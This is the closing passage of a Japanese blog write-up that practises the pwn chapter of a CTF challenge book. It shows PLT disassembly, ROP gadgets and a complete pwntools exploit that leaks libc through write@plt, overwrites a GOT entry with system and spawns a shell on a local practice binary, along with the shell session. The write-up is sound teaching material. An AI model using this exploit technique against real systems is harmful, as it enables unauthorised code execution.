        0xf7fed000 0xf7ffb000     0xe000    0x24000  r--p   /usr/lib32/ld-linux.so.2
        0xf7ffb000 0xf7ffd000     0x2000    0x31000  r--p   /usr/lib32/ld-linux.so.2
        0xf7ffd000 0xf7ffe000     0x1000    0x33000  rw-p   /usr/lib32/ld-linux.so.2
        0xfffdd000 0xffffe000    0x21000        0x0  rw-p   [stack]

libc のアドレスは実行するたびに変わってしまいます。よって、system関数の絶対アドレスを計算した後に、プログラムを終了せずに、続けて、その system関数を呼び出す必要があります。ret2plt で write関数を呼び出した後、先ほど「ret2plt、ret2libcの後にもう1回関数を呼ぶ(popret gadget)」でやったように、write関数のリターンアドレスを設定することで、処理を続行させます。

write関数のリターンアドレスには、read@plt を設定します。read関数を使って、__libc_start_main関数の GOT領域に、system関数の絶対アドレスを書き込みます(GOT overwrite)。read関数のリターンアドレスに、__libc_start_main@plt を指定し、__libc_start_main関数を実行させると、system関数が実行されるという流れです。

必要なアドレスを取得します。write@plt は 0x08048370、read@plt は 0x08048330、__libc_start_main@plt は 0x08048360 であることが分かりました。また、__libc_start_main関数の GOT領域は、0x0804a018 であることが分かりました。

$ objdump -M intel -d -j .plt bof4

bof4:     file format elf32-i386


Disassembly of section .plt:

08048320 <.plt>:
 8048320:       ff 35 04 a0 04 08       push   DWORD PTR ds:0x804a004
 8048326:       ff 25 08 a0 04 08       jmp    DWORD PTR ds:0x804a008
 804832c:       00 00                   add    BYTE PTR [eax],al
        ...

08048330 <read@plt>:
 8048330:       ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 8048336:       68 00 00 00 00          push   0x0
 804833b:       e9 e0 ff ff ff          jmp    8048320 <.plt>

08048340 <__gmon_start__@plt>:
 8048340:       ff 25 10 a0 04 08       jmp    DWORD PTR ds:0x804a010
 8048346:       68 08 00 00 00          push   0x8
 804834b:       e9 d0 ff ff ff          jmp    8048320 <.plt>

08048350 <strlen@plt>:
 8048350:       ff 25 14 a0 04 08       jmp    DWORD PTR ds:0x804a014
 8048356:       68 10 00 00 00          push   0x10
 804835b:       e9 c0 ff ff ff          jmp    8048320 <.plt>

08048360 <__libc_start_main@plt>:
 8048360:       ff 25 18 a0 04 08       jmp    DWORD PTR ds:0x804a018
 8048366:       68 18 00 00 00          push   0x18
 804836b:       e9 b0 ff ff ff          jmp    8048320 <.plt>

08048370 <write@plt>:
 8048370:       ff 25 1c a0 04 08       jmp    DWORD PTR ds:0x804a01c
 8048376:       68 20 00 00 00          push   0x20
 804837b:       e9 a0 ff ff ff          jmp    8048320 <.plt>

あとは、引数の調整を行う必要があります。write関数と read関数はともに 3つの引数を取るので、ropgadget で、pop3ret を探しておく必要があります。

無事に、pop3ret が見つかりました。

$ gdb -q bof4

gdb-peda$ start

gdb-peda$ ropgadget
ret = 0x80482fe
popret = 0x8048315
pop2ret = 0x804854e
pop3ret = 0x804854d
pop4ret = 0x804854c
addesp_12 = 0x8048312
addesp_44 = 0x8048549

では、今回も、pwntools を使って実装していきます。

prologue_remote() では、コネクションを張って、Hello を受け取ります。その後、ropchain をスタックオーバーフローでスタックに書き込みます。

bof4 では、main関数が終わり、リターンアドレスで write@plt に進み、__libc_start_main@got のアドレスを出力し、read@plt で入力待ちになります。

Python の方では、受け取った __libc_start_main@got のアドレスから、system関数のアドレスを計算して、system関数のアドレスと引数の '/bin/sh' を送信します。

bof4 では、read で受け取ったデータを __libc_start_main@got に書き込みます。ここが少し難しくて、GOT領域にはアドレスを書き込み、その直後に '/bin/sh' を書いています。よって、引数には GOT領域 + 4 のアドレスを指定しています。最後に、__libc_start_main@plt に飛ぶと、system関数のアドレスに置き換わっているので、シェルが起動します。

import os, sys
from pwn import *

def prologue_remote( adrs, port ):
    
    # サーバに接続
    proc = remote( adrs, port )
    
    # 1st message
    print( proc.recv(timeout=1) )
    
    return proc

def overwrite_ret_adrs( proc, cnt, adrs, to=1, dmy=b'\x41' ):
    
    ss = dmy * cnt + adrs
    print( ss )
    proc.sendline( ss )
    
    # receive error
    ret = proc.recv( timeout=to )
    print( ret )
    
    return ret

proc = prologue_remote( '127.0.0.1', 4000 )

ropchain = b''
ropchain += p32( 0x08048370 ) # write@plt
ropchain += p32( 0x0804854d ) # pop3ret
ropchain += p32( 1 )          # write関数の第1引数
ropchain += p32( 0x0804a018 ) # write関数の第2引数 (__libc_start_main@got)
ropchain += p32( 4 )          # write関数の第3引数

ropchain += p32( 0x08048330 ) # read@plt
ropchain += p32( 0x0804854d ) # pop3ret
ropchain += p32( 0 )          # read関数の第1引数
ropchain += p32( 0x0804a018 ) # read関数の第2引数 (__libc_start_main@got)
ropchain += p32( 20 )         # read関数の第3引数

ropchain += p32( 0x08048360 ) # __libc_start_main@plt
ropchain += p32( 0x42424242 ) # BBBB
ropchain += p32( 0x0804a018 + 4 ) # __libc_start_main@got+4 ("/bin/sh")

ret = overwrite_ret_adrs( proc, 51, ropchain )

print( f"ret={ret}, len(ret)={len(ret)}" )

libc_base   = u32(ret) - 0x00023310       # __libc_start_main関数の絶対アドレス - __libc_start_main関数の相対アドレス = libcの先頭アドレス
libc_system = p32(libc_base + 0x0004c8c0) # libcの先頭アドレス + system関数の相対アドレス = system関数の絶対アドレス

proc.send( libc_system + b'/bin/sh\0' )

proc.interactive()

実行してみます。

無事にシェルが起動しました。

$ python ../../../../python/tmp.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
b'Hello\n'
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp\x83\x04\x08M\x85\x04\x08\x01\x00\x00\x00\x18\xa0\x04\x08\x04\x00\x00\x000\x83\x04\x08M\x85\x04\x08\x00\x00\x00\x00\x18\xa0\x04\x08\x14\x00\x00\x00`\x83\x04\x08BBBB\x1c\xa0\x04\x08'
b'\x103\xc2\xf7'
ret=b'\x103\xc2\xf7', len(ret)=4
[*] Switching to interactive mode
$ ls
aslr.py
atk.bin
bof4
bof4.c
bruteforce.py
leak.py
peda-session-bof4.txt
peda-session-dash.txt
pwnable.log
$ id
uid=1000(user) gid=1000(user) groups=1000(user),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),106(netdev),113(lpadmin),114(bluetooth),121(scanner)
$ exit
[*] Got EOF while reading in interactive
$ exit
$ exit
[*] Closed connection to 127.0.0.1 port 4000
[*] Got EOF while sending in interactive

ステップ5 は、これで以上です。

おわりに

今回は、セキュリティコンテストチャレンジブックの pwn の章を実践してみました。

9年前の書籍なので、環境が変わってるということもありましたが、ページ数の割りには、内容が濃いので、だいぶ長い記事になりました。8万文字を超えたのは初めてです(笑)。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。